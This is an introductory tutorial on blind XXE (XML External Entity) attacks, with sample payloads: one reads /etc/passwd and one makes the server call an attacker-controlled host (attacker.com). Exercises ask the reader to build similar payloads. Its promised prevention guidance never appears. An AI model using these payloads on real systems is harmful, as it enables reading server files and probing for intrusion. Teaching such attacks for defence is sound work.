Blind XXE Attacks: A Comprehensive Tutorial

1. Introduction

Goal of the Tutorial

In this tutorial, you will be introduced to the concept of Blind XXE (XML External Entity) attacks. We will explore how these attacks are executed, what makes them a unique threat, and how to prevent them.

Learning Outcomes

By the end of this tutorial, you will be able to understand:
- What Blind XXE attacks are
- How Blind XXE attacks work
- How to prevent Blind XXE attacks

Prerequisites

Basic understanding of XML and HTTP protocols is required. Familiarity with web application software vulnerabilities would be beneficial but isn't mandatory.

2. Step-by-Step Guide

Blind XXE attacks occur when an attacker can cause an XML parser to access arbitrary files on a server. The 'blind' aspect comes from the fact that the attacker cannot directly view the response, but instead, has to infer information from indirect observations.

Step 1: Understanding XML Entities

XML allows definitions of entities which can be used to represent data. These entities can be internal or external. Here's an example of an XML document with an internal entity:

<!DOCTYPE note [
  <!ENTITY myentity "Hello, XXE!">
]>
<note>
  <to>&myentity;</to>
</note>

In this example, &myentity; will be replaced with "Hello, XXE!".

Step 2: Exploiting External Entities

External entities can refer to files or URLs. The danger lies in the possibility of an XML parser processing an external entity that refers to a file on the server. For instance:

<!DOCTYPE note [
  <!ENTITY myentity SYSTEM "file:///etc/passwd">
]>
<note>
  <to>&myentity;</to>
</note>

The XML parser may attempt to load the /etc/passwd file, causing a security breach.

Step 3: Blind XXE

In a blind XXE attack, the attacker might not be able to view the response directly. However, they can infer information by observing server behaviors or by making the server interact with other systems that the attacker controls.

3. Code Examples

Example 1: Basic Blind XXE

Here's an example of a simple blind XXE attack. The attacker makes the server send an HTTP request to a domain they control.

<!DOCTYPE note [
  <!ENTITY myentity SYSTEM "http://attacker.com/">
]>
<note>
  <to>&myentity;</to>
</note>

When the server processes this XML document, it will attempt to fetch the resource at http://attacker.com/, which allows the attacker to infer that the server is vulnerable to XXE.

4. Summary

This tutorial introduced you to blind XXE attacks, which are a type of XML External Entity (XXE) attack where the attacker can force an XML parser to access arbitrary files on a server. We understood how XML entities work, how an attacker can exploit external entities, and how blind XXE attacks work.

To continue learning about this topic, you should study more advanced topics like XXE in SOAP, XXE in SAML, and Out-of-band XXE.

5. Practice Exercises

Exercise 1: Create an XML document that uses an internal entity to represent a greeting message.

Exercise 2: Modify the XML document from Exercise 1 to use an external entity that refers to a local file.

Exercise 3: Construct a hypothetical blind XXE attack scenario where the server is made to interact with a domain that the attacker controls.

Solutions and Tips

1. Refer to the internal entity example from the step-by-step guide to complete Exercise 1.
2. For Exercise 2, be careful when specifying the file path. Remember, the goal is to understand the concept, not to breach security.
3. Exercise 3 is similar to the Basic Blind XXE example. The key here is to understand how the server's behavior can inform the attacker about its vulnerability.

Remember, the goal is to understand how these attacks function, so you can better protect your applications from them. It's important to always use your knowledge in an ethical and legal manner.